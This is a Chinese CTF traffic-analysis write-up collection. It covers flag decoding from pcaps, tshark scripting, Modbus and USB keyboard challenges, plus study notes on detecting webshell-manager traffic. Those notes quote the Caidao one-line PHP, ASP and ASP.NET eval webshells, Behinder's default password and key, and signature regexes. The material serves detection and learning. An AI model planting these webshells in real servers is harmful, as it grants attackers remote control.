这是关于自己学习流量分析的时候写的wp和自己做的一个知识点总结,如果有师傅发现不对的地方可以告知我一声,我进行修改。
BUU [GKCTF 2021]签到
我们通过打开流量包,直接去寻找HTTP流量
开始分析通过点开第一个流直接追踪,我们会在第三个流文件找到一串类似16进制的编码,将其转换成ASCII码值可以知道是base64的一个编码
634768774c6d78735a57687a6347313043673d3d
16进制转ASCII
cGhwLmxsZWhzcG10Cg==
base64解码
php.llehspmt

属于是什么信息都没有我们接着往下翻找
在第五个流找到了
44516f4e4367306a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d4b44534d674943416749434167494341344d446f784d446f774d6941774d79307a4d4330784d6a417949434167494341674943416749776f4e49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a49794d6a436730744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c5330744c516f3d
将其base16解码后得到
DQoNCg0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKDSMgICAgICAgICA4MDoxMDowMiAwMy0zMC0xMjAyICAgICAgICAgIwoNIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCg0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo=
再将其base64解码后得到
#######################################
# 80:10:02 03-30-1202 #
#######################################
--------------------------------------------------
还是没有任何信息,那么接着往下找有一段挺长的发现就是我们需要的,我们一开始复制的前面的base16是错误的信息,正确的信息在最下面,我们在通过base64解码得到

wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD
jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI
6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM
z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL
sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM
DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y
==QIhM0QDN0Q
我们可以知道正常的base64的等号是在会后面的那么我们通过写一个python脚本,让他逆序输出可以得到正确的flag

[回车] [回车] [回车] ffllaagg{{}}WWeellcc))[删除] [删除] 00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!
我们可以通过脚本去重也可以自己手动去重
flag{Welc0me_GkC4F_m1siCCCCCC!}
鹤城杯2021流量分析

通过打开流量包还是直接过滤为http的流量通过分析我们看到了978是返回成功的一个因为978比994的字节更少而289则是get请求,所以我们直接输入这个指令过滤长度为978的数据包。
frame.len==978
再通过随便点一个流量包 找到Hypertext这个选项,找到下面的SQL语句发现输入的是一串ASCII码。
点开选项后我们再去点击通过文件选项导出特定分组点击按当前显示提出文件

然后我们通过脚本去进行恢复但是我们这种方式有一个弊端就是需要自己手动或者脚本去除重复的还有一种方法是使用工具tshark

tshark使用教程(感谢Lunatic师傅的blog)
导出流量包中所有POST数据包的data数据
tshark -r 1.pcapng -Y "http.request.method == POST" -T fields -e data.data > data.txt
# -r:指定了需要读取的文件
# -Y:使用过滤器
# -T:表示仅仅输出所选字段
# -e:指定提取的字段
以下两个命令是Linux中的命令
# uinq:去除重复行
# sed '/^\s*$/d':在sed中使用正则表达式过滤掉所有空行(其中 ^\s*$ 匹配空行,d 表示删除)
在我们清楚了tshark的相关命令后,我们就可以尝试编写Python脚本来调用tshark进行流量包的处理了
这种用法通常在我们分析较大流量包并且需要频繁复制里面的数据的时候比较实用
import json
import subprocess
output = ""
file_path = "" # 流量包的路径
command = [
"tshark", # tshark的路径,如果在环境变量里这里就不用改
'-r', file_path, # 读取指定的 pcapng 文件
'-Y', 'http', # 过滤出 HTTP 数据包
'-T', 'json', # 输出为 JSON 格式
'-e', 'http.request.method', # 请求方法
'-e', 'http.host', # 请求主机
'-e', 'http.request.uri', # 请求 URI
'-e', 'http.user_agent', # 用户代理
'-e', 'http.file_data', # 请求中的文件数据(POST 请求的内容)
'-e', 'http.response.code', # 响应代码
'-e', 'http.response.phrase', # 响应短语
'-e', 'http.content_type' # 响应内容类型
]
result = subprocess.run(
command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
json_output = json.loads(result.stdout)
# print(json.dumps(json_output, indent=4)) # 这个输出是用来调试的,可以移除
# 遍历 JSON 数据并提取字段
for packet in json_output:
layers = packet.get('_source', {}).get('layers', {})
request_method = layers.get('http.request.method', ['None'])[0]
request_host = layers.get('http.host', ['None'])[0]
request_uri = layers.get('http.request.uri', ['None'])[0]
user_agent = layers.get('http.user_agent', ['None'])[0]
file_data = layers.get('http.file_data', ['None'])[0]
response_code = layers.get('http.response.code', ['None'])[0]
response_phrase = layers.get('http.response.phrase', ['None'])[0]
content_type = layers.get('http.content_type', ['None'])[0]
然后通过这个tshark我们可以写一个关于这道题的脚本用这种方式不需要去重flag{w1reshARK_ez_1sntit}

[BSidesSF-CTF 2019] Zippy
打开发现只有TCP流 追踪一下

得到一个zip的密码:supercomplexpassword
我们可以分两种方法提出因为知道了是一个zip文件去正则匹配16进制的文件头,50 4B 03 04让后通过导出分组字节流导出里面的压缩包或者直接使用随波逐流的Binwalk提取出压缩包通过解码可以得到flag
CTF{this_flag_is_your_flag}

[CISCN 2023 初赛]被加密的生产流量
打开流量包发现好多带有modbus的数据包
Modbus 是工业领域最常用的串行通信协议之一,专门用于工业设备(如传感器、PLC、变频器等)之间的数据传输与通信。
它的核心作用是让不同厂商生产的工业设备能够 “互相理解”,实现数据的读取(如温度、压力)和控制指令的下发(如启动、停止)。
Modbus 的核心特点
- 主从通信模式:通信双方分为 “主站” 和 “从站”。
- 主站:主动发起通信请求的设备,通常是 PLC、工控机或上位机。
- 从站:被动响应请求的设备,通常是传感器、执行器等终端设备。
- 规则:同一时间只能有一个主站发起请求,从站根据主站指定的地址(1-247)进行响应。
- 轻量化协议设计:协议格式简单,数据帧短小,对硬件要求低,适合工业现场的低速、远距离通信场景。
- 多种传输介质支持:
- Modbus RTU:基于串口(RS-232/RS-485)传输,采用二进制编码,传输效率高,是工业现场最常用的版本。
- Modbus ASCII:同样基于串口,采用 ASCII 码编码,可读性强,但传输效率低于 RTU。
- Modbus TCP:基于以太网 TCP/IP 协议,将 Modbus 数据帧封装在 TCP 数据包中,适用于局域网内的工业设备通信。
Modbus 的典型应用场景
- 工业自动化生产线:PLC 与变频器、伺服电机之间的控制指令传输。
- 智能楼宇:监控系统与温湿度传感器、门禁设备之间的数据采集。
- 能源管理:电力监控设备与电表、互感器之间的电量数据读取。
- 物联网(IoT):工业设备通过 Modbus TCP 接入物联网平台,实现远程监控。
这时候直接在搜索框找modbus去看流量包什么情况发现只有66和73字节的流量包,先点开66字节的再点开73字节的追踪字节流发现如下情况,我们直接把他们拼到一起MMYWMX3GNEYWOXZRGAYDA===放入base32进行解码得出c1f_fi1g_1000

[闽盾杯 2021]Modbus的秘密
又是一个modbus协议
modbus流量大致有两个点,一个是Register的值,一个是Word Count
Register(寄存器值) 和 Word Count(字计数) 是协议解析中的核心字段,尤其在 Modbus RTU/TCP 的数据读写操作中非常关键。下面详细解释这两个字段的含义、作用及在流量分析中的注意事项:
1. Register(寄存器值)
- 定义:Modbus 中的 “寄存器” 是设备存储数据的地址单元,用于存放可读写的数值(如传感器读数、控制参数等)。常见的寄存器类型包括:
- 保持寄存器(Holding Registers):可读写,用于存储设备的配置参数、状态值等(地址范围通常为 0x0000-0xFFFF)。
- 输入寄存器(Input Registers):只读,通常用于存储传感器采集的实时数据(如温度、压力等)。
- 在流量中的体现:当主站读取(功能码 0x03 读保持寄存器、0x04 读输入寄存器)或写入(功能码 0x06 写单个寄存器、0x10 写多个寄存器)寄存器时,数据包中会包含:
- 起始寄存器地址:要操作的第一个寄存器的地址(2 字节,大端序)。
- 寄存器值:读取时,从站返回的寄存器数据(每个寄存器占 2 字节,大端序,可拼接为多字节数值);写入时,主站发送的目标值。
- 分析价值:寄存器值往往直接对应设备的实际状态(如 “1” 代表启动、“0” 代表停止)或物理量(如温度值、压力值),在 CTF 中可能隐藏 Flag(如将 ASCII 码拆分到多个寄存器中)。
2. Word Count(字计数)
- 定义:“Word” 在 Modbus 中特指 16 位(2 字节)的数据单元,
Word Count即 “字的数量”,用于标识数据包中传输的寄存器数据长度。 - 在流量中的体现:
- 读取操作(如功能码 0x03):从站响应时,
Word Count字段表示返回的寄存器总字节数(= 寄存器数量 × 2)。例如,返回 3 个寄存器,Word Count为 6(3×2)。 - 写入操作(如功能码 0x10):主站发送请求时,
Word Count表示要写入的总字节数(= 写入寄存器数量 × 2)。从站响应时,会返回写入的寄存器数量(而非字节数,需注意区分)。
- 读取操作(如功能码 0x03):从站响应时,
- 作用:接收方通过
Word Count确定后续数据的长度,避免解析错误。例如,若Word Count为 4,则表示接下来有 2 个寄存器(4 字节)的数据。 - 注意点:
Word Count字段本身占 1 字节(最大值为 255),因此单次最多可传输 127 个寄存器(254 字节)。
这道题需要我们做起来特别有耐心,要么自己一个一个翻找,要么就是投机取巧最好的方法是直接上工具查找,我们投机取巧的话先通过搜索flag字符发现没东西,那么再去搜索flag的16进制66 6c 61 67发现也没有东西,这时候我们可以通过经常做题的见识知道可能会有不显示的00十六进制,所以我们在66后面或者前面加上00再去搜索就可以搜索到

如果有工具neta的话直接上工具就能找到flag

[LitCTF 2023]easy_shark
卧底小帅在潜伏期间截获了一段非常可疑的流量,为了里面的内容不被泄露出去,小帅将flag进行了加密,你能成功发现犯罪团伙的秘密,并拯救小帅吗?flag格式:NSSCTF{flag_木马连接的key}
打开以后通过协议分级知道我们要去查找HTTP流量,通过排序一个一个包的查看发现有一个形似蚁剑流量的特征,但是他并不是蚁剑流量,通过翻找在最后一个包里面我们找到了一个关键信息

2654641fCan you request my question?
(x^2-x**2)+(x-17)(x-77)=0
#gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
[S]
/flag
[E]
766ab9
{j13p5oznp_1t_z_900y_k3z771h_k001}
上面还有一个方程,解为17和77,两个数再加上一串字符,尝试仿射密码
仿射密码是一种替换密码,它是一个字母对一个字母的;
它的加密函数是D(x) = (a*x+b) (mod m),这里a,b变量就是密钥其中;
a和m互质,m是字母的数目(26)解出来后flag后面还要加上a
flag{w13e5hake_1s_a_900d_t3a771c_t001}
NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}

蚁剑流量特征
1.1 蚁剑webshell静态特征
蚁剑中php使用assert、eval执行;asp只有eval执行;在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征。
1.2 蚁剑webshell动态特征
我们使用一句话木马上传webshell,抓包后会发现每个请求体都存在以@ini_set("display_errors","0");@set_time_limit(0)开头。并且响应体的返回结果是base64编码发混淆字符,格式为:随机数 结果 随机数。
1.3蚁剑webshell的连接密码
蚁剑通过流量分析看的时候一般开头都是1=@ini_set(“display_errors”,”0″);@set_time_limit(0)那么1就是连接密码因为请求参数名常以_0x开头(如_0x1234=...),参数值为 base64 编码的恶意指令;
1.4蚁剑webshell的User-Agent 特征
默认 User-Agent 为 “AntSword/v2.1”(可由攻击者修改)。
既然我们介绍了蚁剑流量那就顺带在介绍一下冰蝎流量
冰蝎流量特征
工具概述
冰蝎是一款基于动态二进制加密的 webshell 管理工具,通过对通信流量进行高强度加密,躲避传统安全设备的检测,在网络攻击中用于对目标服务器的持久化控制,支持文件管理、命令执行、端口转发等功能。
各版本流量特征
冰蝎 2.0
- 加密与编码:采用AES 加密 + base64 编码,AES 使用动态密钥对通信进行加密。
- User-Agent 特征:请求时内置十几个 User-Agent 头,每次随机选择一个,表现为 User-Agent 频繁变换。
冰蝎 3.0
- 加密与编码:仍使用AES 加密 + base64 编码,但取消动态密钥,采用固定连接密钥。
- 密钥生成:AES 加密的密钥为 webshell 连接密码的 MD5 前 16 位,默认连接密码为
rebeyond(即密钥为md5('rebeyond')[:16]=e45e329feb5d925b)。
- 密钥生成:AES 加密的密钥为 webshell 连接密码的 MD5 前 16 位,默认连接密码为
- User-Agent 特征:同 2.0 版本,内置多个 User-Agent 头随机选择,User-Agent 频繁变换。
- Content-Type 特征:连接 jsp 的 webshell 时,请求数据包的
Content-Type字段常见为application/octet-stream。
冰蝎 4.0
- 传输协议特征:提供传输协议自定义功能,支持用户对流量加密 / 解密自定义,实现加解密协议去中心化,无传统 “连接密码” 概念,自定义传输协议的算法即为连接密码。
- HTTP 头特征:
Accept字段(弱特征):通常为Accept: application/json, text/javascript, */*; q=0.01,表示浏览器倾向接受application/json和text/javascript类型文件。Content-Type字段(弱特征):通常为Content-type: Application/x-www-form-urlencoded。Connection字段:使用长连接,请求头和响应头默认带有Connection: Keep-Alive。
- User-Agent 特征:同前版本,内置十几个 User-Agent 头随机选择,User-Agent 频繁变换。
- 端口特征:与 webshell 建立连接时,Java 端会建立 TCP 连接,本地端口在49700 左右,每次连接端口依次递增。
- 请求 / 响应头特征:有固定的请求字节头(如
dfAOVYlIORgHKQlNIMAtFVAGV)和响应字节头(如TxWr1NNExZAD0zaAWMIPAzjH1BBFBfHThcJSIUXWed)。
通用检测点
- User-Agent 维度:若发现某 IP 的请求头中 User-Agent 频繁变换(在短时间内出现多种不同 User-Agent),需高度怀疑冰蝎流量。
- 加密与协议维度:关注采用 AES+base64 加密、自定义传输协议的流量,结合固定密钥(3.0 版本)、特殊 HTTP 头(4.0 版本
Accept/Content-Type)等特征进行识别。
哥斯拉(Godzilla)流量特征
工具概述
哥斯拉是一款功能强大的开源 webshell 管理工具,以高强度加密通信和灵活的免杀能力为核心特点,支持 Java、PHP、C# 等多种语言的 webshell 生成与管理。其不仅能实现文件操作、命令执行、数据库管理等基础功能,还集成了写内存 webshell、与 Meterpreter 联动等进阶模块,在网络攻击中常用于目标服务器的持久化控制与隐蔽操作。
与其他同类工具相比,哥斯拉的核心优势在于加密机制的灵活性和流量伪装的多样性,可通过自定义加密算法、HTTP 头部及传输协议等方式躲避传统安全设备检测,检测难度较高。
核心流量特征
协议与基础头部特征
- 主流协议:以 HTTP/HTTPS 协议为主,部分场景下也支持 ICMP 协议传输数据(ICMP 流量因占比低更难被发现)。
- User-Agent 特征:默认值与客户端 JDK 版本相关,格式类似
Java/1.8.0_121,但支持自定义修改,属于弱检测特征。 - Accept 字段特征:默认值通常为
text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2,该特征源于 JDK 默认设置,与冰蝎部分版本存在共性,但可自定义去除。 - Content-Type 字段:常见值包括
application/octet-stream、application/x-www-form-urlencoded,也支持自定义 MIME 类型以伪装正常请求。 - Cookie 强特征:请求包 Cookie 的最后一位固定带有分号(;),而标准 HTTP 请求中最后一个 Cookie 值不应包含此符号,该特征在未修复版本中具有较高识别价值。
加密与数据传输特征
哥斯拉的加密方式因脚本语言和配置不同存在差异,核心表现为 “加密 + 编码” 的组合模式:
- 分语言加密差异:
- Java/C#:以 AES 加密为核心,Java 版常用
AES ECB模式,C# 版通过System.Security.Cryptography.RijndaelManaged()实现加密,均伴随类加载(ClassLoader)、反射(Class.forName、System.Reflection.Assembly)等操作特征。 - PHP:未采用 AES 加密,而是通过异或算法实现自定义加密,直接使用
eval函数执行代码。
- Java/C#:以 AES 加密为核心,Java 版常用
- 数据编码特征:加密后的数据常采用 Base64 编码传输,部分场景下直接以原始加密(raw)形式传输;Base64 编码的数据在初始化阶段数据包较大,后续操作时数据包相对较小。
- ICMP 协议特殊特征:若使用 ICMP 协议,数据报文载荷部分的 Length 值固定为 92 字节,且 payload 内容以 “godzilla” 开头,这是 ICMP 模式下的关键识别标志。
请求体与响应体特征
- 请求体特征:
- 加密数据特征:Base64 编码的请求体以长串密文为主,原始加密的请求体则包含大量不可见字符(需排除文件上传场景的
multipart/form-data数据包干扰)。 - 脚本特征:JSP 类型请求体中常出现
xc、pass字符及 Java 反射相关代码(如getClass().getClassLoader()),PHP/ASP 则以改造后的 “一句话木马” 为核心。 - URL 伪装:请求路径常伪装为静态资源(如
/images/logo.png),参数名多随机但格式类似_=timestamp(以时间戳为值)。
- 加密数据特征:Base64 编码的请求体以长串密文为主,原始加密的请求体则包含大量不可见字符(需排除文件上传场景的
- 响应体强特征:
- Base64 编码响应:结构固定为 “MD5 前 16 位 + Base64 密文 + MD5 后 16 位”,MD5 字符集仅包含 0-9、A-F(Java 版大写,PHP 版小写),可通过正则
(?i:(0-9A-F){16})(\w+/){4,}=?=?(?i:(0-9A-F){16})匹配。 - 原始加密响应:以大量不可见字符为主,暂无明确特征码,需结合其他维度辅助判断。
- 密钥交换特征:部分版本响应中包含
key字段,用于动态密钥协商,解密后可能出现 “godzilla” 关键字。
- Base64 编码响应:结构固定为 “MD5 前 16 位 + Base64 密文 + MD5 后 16 位”,MD5 字符集仅包含 0-9、A-F(Java 版大写,PHP 版小写),可通过正则
行为与交互特征
- 连接验证:无类似蚁剑 “yyoa” 的固定验证字符串,主要通过加密密钥匹配实现连接验证。
- 请求频率:执行文件管理、命令执行等操作时,会触发密集的 POST 请求,单次操作对应单次请求,响应时间通常较短。
- 端口与连接:以短连接为主,无冰蝎 4.0 版本的固定端口范围特征,URL 和参数可动态变化以规避规则检测。
静态特征(辅助检测)
哥斯拉生成的 webshell 因语言不同存在明确特征,可作为流量检测的补充依据:
- Java webshell:包含 AES 加解密(
javax.crypto.Cipher.getInstance("AES"))、类加载(ClassLoader)、反射(Class.forName)等关键代码片段。 - C# webshell:核心特征为
System.Reflection.Assembly(用于动态解析执行 DLL 文件)及 Rijndael 加密相关代码。 - PHP webshell:以异或加密逻辑和
eval执行函数为核心,属于改造型 “一句话木马”,特征相对隐蔽。
动态特征
- User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。
- Accept字段(弱特征),默认是
Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。 Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。- 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
菜刀流量特征
菜刀静态特征
菜刀使用一句话木马,特征十分明显,在PHP、ASP、ASP.NET的网站都可以:
PHP: <?php @eval([$_post['test']]); ?>
ASP: <% eval request("test")%>
ASP.NET: <%@ Page Language="Javascript"%><% eval(Request.Item["test"],"unsafe");%>
菜刀动态特征
- payload在请求体中,采用url编码+base64编码,payload部分是明文传输。
- payload中有eval或assert、base64_decode这样的字符。
- payload中有默认固定的&z0=QGluaV9zZXQ…这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。进行base64解码后可看到代码:@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。
四种流量特征总结
| 特征维度 | 冰蝎(Behinder) | 蚁剑(AntSword) | 哥斯拉(Godzilla) | 菜刀(Caidao) |
|---|---|---|---|---|
| 加密方式 | 2.0/3.0:AES 加密 + Base64 编码(2.0 动态密钥,3.0 固定密钥为密码 MD5 前 16 位);4.0:自定义传输协议加密,无传统密码概念 | Base64 嵌套异或加密,核心依赖eval/assert函数 | 分语言差异:Java/C# 用 AES(Java 为 ECB 模式),PHP 用异或加密;支持自定义算法 | 早期明文,后期 Base64 编码(无复杂加密),解码后含敏感函数 |
| User-Agent | 内置十几个 User-Agent 头,每次随机选择,表现为频繁变换 | 默认 “AntSword/v2.1”,可修改 | 默认与 JDK 版本相关(如Java/1.8.0_121),可自定义 | 常伪装为百度爬虫(Baiduspider)或浏览器,可在配置文件修改 |
| 请求体特征 | 2.0/3.0:加密密文为主;4.0:固定请求字节头,长连接带Connection: Keep-Alive | 以@ini_set("display_errors", "0");@set_time_limit(0)开头,参数名常为_0x开头或自定义密码(如 “1”) | 加密数据多为 Base64 密文或不可见字符;JSP 请求含xc/pass及反射代码;URL 伪装静态资源 | 参数名固定(如 “z0”“z1”),Base64 数据常以 “QGluaV9zZXQ” 开头,含eval等敏感函数 |
| 响应体特征 | 4.0 版本有固定响应字节头;加密响应以密文为主 | 格式为 “随机数 —- 响应内容 — 随机数” | Base64 响应为 “MD5 前 16 位 + 密文 + MD5 后 16 位”;原始加密响应含大量不可见字符 | 明文返回,以 “-> |
| 连接与行为 | 4.0 用长连接,端口围绕 49700 递增;操作触发密集请求 | 短连接,连接时发送 “yyoa” 验证;单次操作对应单次请求,响应时间 < 1 秒 | 短连接为主,无固定端口;操作触发密集 POST 请求,无固定验证字符 | 端口不固定(常扫描 20000-30000 范围);连接时发送验证码(如 “knife”“dadan”) |
| 特殊标识 | User-Agent 频繁变换是核心弱特征;3.0 默认密码 “rebeyond” | 参数名即密码(如 “1=@ini…” 中 “1” 为密码);响应格式固定分隔符 | Cookie 末尾固定带分号(未修复版本);ICMP 模式载荷以 “godzilla” 开头,Length=92 字节 | 响应体首尾固定标识(“-> |
[LitCTF 2023]Take me hand (初级)
这是一道极其简单的题,都不算是流量分析的入门题,这里就简单的说明一下,我们通过打开流量包的协议分级发现最多的是TCP
直接去筛选http协议就能找到LitCTF{Give_y0ur_hand_to_me!!!_plz},但是为什么我们要去搜索http,这就要提到七层模型
OSI的七层模型
应用层(Application Layer):这是网络体系结构中的最顶层,提供用户接口和应用程序之间的通信服务。在这一层,用户可以访问各种网络应用程序,如电子邮件、文件传输和远程登录。
表示层(Presentation Layer):该层负责数据的格式化、加密和压缩,以确保数据在不同系统之间的交换是有效的和安全的。它还提供了数据格式转换和语法转换的功能。
会话层(Session Layer):会话层管理应用程序之间的通信会话,负责建立、维护和终止会话。它还提供了数据的同步和检查点恢复功能,以确保通信的完整性和持续性。 传输层(Transport Layer):传输层为应用程序提供端到端的数据传输服务,负责数据的分段、传输控制、错误恢复和流量控制。它主要使用 TCP(传输控制协议)和 UDP(用户数据报协议)来实现这些功能。 网络层(Network Layer):网络层负责数据包的路由和转发,以及网络中的寻址和拥塞控制。它选择最佳的路径来传输数据包,以确保它们能够从源主机到目标主机进行传输。 数据链路层(Data Link Layer):数据链路层提供点对点的数据传输服务,负责将原始比特流转换为数据帧,并检测和纠正传输中出现的错误。它还控制访问物理媒介的方式,以及数据帧的传输和接收。 物理层(Physical Layer):物理层在物理媒介上传输原始比特流,定义了连接主机的硬件设备和传输媒介的规范。它确保比特流能够在网络中准确地传输,例如通过以太网、光纤和无线电波等媒介。
答案很明确:因为 HTTP 是应用层协议,必须依赖传输层的 TCP 协议来实现数据的底层传输
TCP/IP四层模型
应用层(Application Layer):类似于 OSI 模型中的(应用层),负责处理用户与网络应用程序之间的通信。它包括诸如 HTTP、FTP、SMTP 等协议,用于实现不同类型的网络服务和应用。 传输层(Transport Layer):与 OSI 模型中的(传输层)相对应,提供端到端的数据传输服务。在 TCP/IP 模型中,主要有两个协议:TCP(传输控制协议)和 UDP(用户数据报协议),用于确保可靠的数据传输和简单的数据传输。 网络层(Internet Layer):相当于 OSI 模型中的(网络层),负责数据包的路由和转发。它使用 IP(Internet Protocol)协议来定义数据包的传输路径,并处理不同网络之间的通信。 网络接口层(Link Layer):与 OSI 模型中的(数据链路层和物理层)相对应,负责管理网络硬件设备和物理媒介之间的通信。它包括以太网、Wi-Fi、蓝牙等各种物理层和数据链路层协议。
三次握手和四次挥手说的就是TCP的通信和断开:
第一次握手:客户端发送一个带有SYN(同步标志)标志的数据包给服务端;
第二次握手:服务器接收成功后,回传一个带有SYN/ACK(确认标志)标志的数据包传递确认信息,表示我收到了;
第三次握手:服务端在返回一个ACK标志数据包,表示知道握手结束。
第一次挥手:客户端发送一个FIN(表示为结束的标志位)用来关闭客户端到服务端的数据传输;
第二次挥手:服务端收到FIN返回一个ACK给客户端表示确认收到,服务端进入close_wait状态(等待关闭);
第三次挥手:服务端发送一个FIN,用来关闭服务端到客户端的数据传送,服务器进入last_ack状态(最后的确认状态);
第四次挥手:客户端收到FIN进入time_wait状态,接着发送ACK给服务端,服务端关闭.
FIN标志位数为1则表示TCP断开
应用层常见协议:
HTTP(HyperText Transfer Protocol):用于在客户端和服务器之间传输超文本数据,通常用于 Web 浏览器和 Web 服务器之间的通信。
FTP(File Transfer Protocol):用于在客户端和服务器之间传输文件,支持上传和下载文件的功能。
SMTP(Simple Mail Transfer Protocol):用于在邮件服务器之间传输电子邮件,负责发送邮件。
POP3(Post Office Protocol version 3):用于从邮件服务器上下载邮件到本地计算机,负责接收邮件。
IMAP(Internet Message Access Protocol):也是用于接收邮件的协议,与 POP3 类似,但提供了更丰富的功能,如在服务器上管理邮件等。
DNS(Domain Name System):用于将域名解析为对应的 IP 地址,从而实现域名和 IP 地址之间的映射。
HTTPS(HyperText Transfer Protocol Secure):是 HTTP 的安全版本,通过 SSL/TLS 加密传输数据,保证通信过程中的安全性。
SSH(Secure Shell):用于远程登录和执行命令,提供了加密的网络连接,保证了通信的安全性。
SNMP(Simple Network Management Protocol):用于网络设备之间的管理和监控,可以实现对网络设备的远程配置和监控。
Telnet:用于远程登录和执行命令,类似于 SSH,但不提供加密功能,通信数据不安全。
传输层常见协议:
TCP(Transmission Control Protocol):提供可靠的、面向连接的数据传输服务,确保数据的可靠性、顺序性和完整性。TCP适用于对数据传输质量要求较高的场景,如文件传输、网页浏览等。
UDP(User Datagram Protocol):提供无连接的数据传输服务,不保证数据的可靠性,也不保证数据的顺序性和完整性。UDP适用于实时性要求较高、对数据传输质量要求不那么严格的场景,如音视频传输、在线游戏等。
网络层常见协议:
IP(Internet Protocol):是互联网中最基本的协议,用于在网络中传输数据包。IP协议定义了数据包的格式、寻址方式和路由选择等信息,是整个互联网的基础。
ICMP(Internet Control Message Protocol):用于在IP网络中传递控制消息和错误信息。ICMP通常用于网络设备之间的通信,如路由器和主机之间的通信,以及用于检测网络连通性和故障诊断。
ARP(Address Resolution Protocol):用于将IP地址映射为MAC地址(物理地址)。ARP协议在局域网内部使用,通过发送ARP请求获取目标设备的MAC地址,从而实现数据包的传输。
RARP(Reverse Address Resolution Protocol):与ARP相反,用于将MAC地址映射为IP地址。RARP协议通常用于无盘工作站等设备,可以根据MAC地址获取对应的IP地址。
IPv6(Internet Protocol version 6):是IP协议的下一代版本,用于解决IPv4地址空间不足的问题。IPv6采用128位地址长度,提供了更大的地址空间,支持更多的设备连接到互联网。
网络接口层常见协议:
以太网协议(Ethernet):是一种常见的局域网技术,使用MAC地址进行帧的传输和接收。 无线局域网协议(Wi-Fi):用于无线局域网的数据传输,通常基于IEEE 802.11标准。 点对点协议(PPP):用于建立点对点连接的协议,通常用于拨号连接和虚拟专用网(VPN)等场景。 数据链路层交换协议(DLC):用于在数据链路层进行数据交换和管理的协议,如HDLC、SLIP和PPP等。
[NISACTF 2022]破损的flag
这道题我们需要下载UsbKeyboardDataHacker
这里介绍一下如何在kali里面安装
1.安装 Git(用于克隆项目源码):
sudo apt update
sudo apt install git

我的这一块属于是安装错误了,所以我用下面的命令添加了缺失的公钥
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED65462EC8D5E4C5
安装完成后在输入下一个命令的sudo apt install git
第一步完成后我们去查看kali里面有没有python2有的话可以省略,没有的话就需要安装python2
2.安装python2
sudo apt install python2
3.安装 Wireshark 与 tshark(用于解析 USB 流量):
sudo apt install wireshark tshark

等待其安装完毕后,可能会需要重启,按照说明来进行就好
4.克隆项目源码
git clone https://github.com/WangYihang/UsbKeyboardDataHacker.git
cd UsbKeyboardDataHacker

5.安装python依赖
sudo apt install python-pip # 安装Python2的pip
pip2 install pyshark
如果安装过了可以不安装,要是电脑里面有py3你是安装不上pip2的需要去做隔离安装
若需严格使用 Python2 环境,可通过virtualenv创建虚拟环境:
sudo apt install virtualenv
virtualenv -p python2 py2env
source py2env/bin/activate
安装 Python3 虚拟环境依赖:
apt install python3.13-venv
创建 Python3 虚拟环境:
python3 -m venv py3env
激活虚拟环境:
source py3env/bin/activate
6.检查tshark是否可用
tshark --version

这一步就表明了tshark可以使用现在只需要将流量包导入即可,我们将完整的流量包放进虚拟机内,通过指令来进行分析(经过半个小时的环境配置终于是解出答案了),环境有问题自己可以去问问AI
python UsbKeyboardDataHacker.py --input /home/kali/桌面/renwu/usbdata.pcap

ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji
这是键盘密码
是一个键盘密码,解法是这样的 键盘上 ujko 四个字符把 i 包围起来 njk 把 m 围起来 tfvbh 中间的是 g yhji 围得是 u 以此类推得到 i m g u l f f l a g i s w e l c o m e t f j n u 分一下: im gulf flag is welcome t fjnu flag有破损,依据题目描述 t 要自行补全为 to
im gulf flag is welcome to fjnu
所以最后的flag为 NSSCTF{welcome_to_fjnu}
USB流量总结
